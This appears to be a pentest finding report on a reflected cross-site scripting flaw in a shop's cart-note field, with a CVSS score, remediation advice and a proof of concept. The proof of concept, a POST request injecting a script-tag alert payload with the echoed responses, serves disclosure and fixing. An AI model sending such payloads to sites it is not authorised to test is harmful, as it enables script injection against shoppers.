Reflected markup in the cart note
Verified on this target
Assessment details
The recorded test demonstrates the finding on this target.
Severity (CVSS)
5.3 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Assessed for this target
The note is returned inside the page markup. The score reflects that interaction.
Explanation
The note is echoed into HTML.
Prerequisites
A shopper can submit a cart note.
PoC
Send the cart note below. The page should return it inside the markup.
Request
POST /cart HTTP/1.1
Host: shop.example.test
Content-Type: application/x-www-form-urlencoded
note=<script>alert(1)</script>
Expected response
HTTP/1.1 200 OK
Content-Type: text/html
<script>alert(1)</script>
Evidence
The recorded exchange returned the note inside the page markup.
Observed request
POST /cart HTTP/1.1
Host: shop.example.test
Content-Type: application/x-www-form-urlencoded
note=<script>alert(1)</script>
Observed response
HTTP/1.1 200 OK
Content-Type: text/html
<script>alert(1)</script>
Recorded capture references
- Pentest capture sample-session req-cart-1
Impact
Effects beyond the echoed note were not assessed. No financial loss was measured. Reputation effects were not assessed.
Remediation
Encode the note before inserting it into HTML.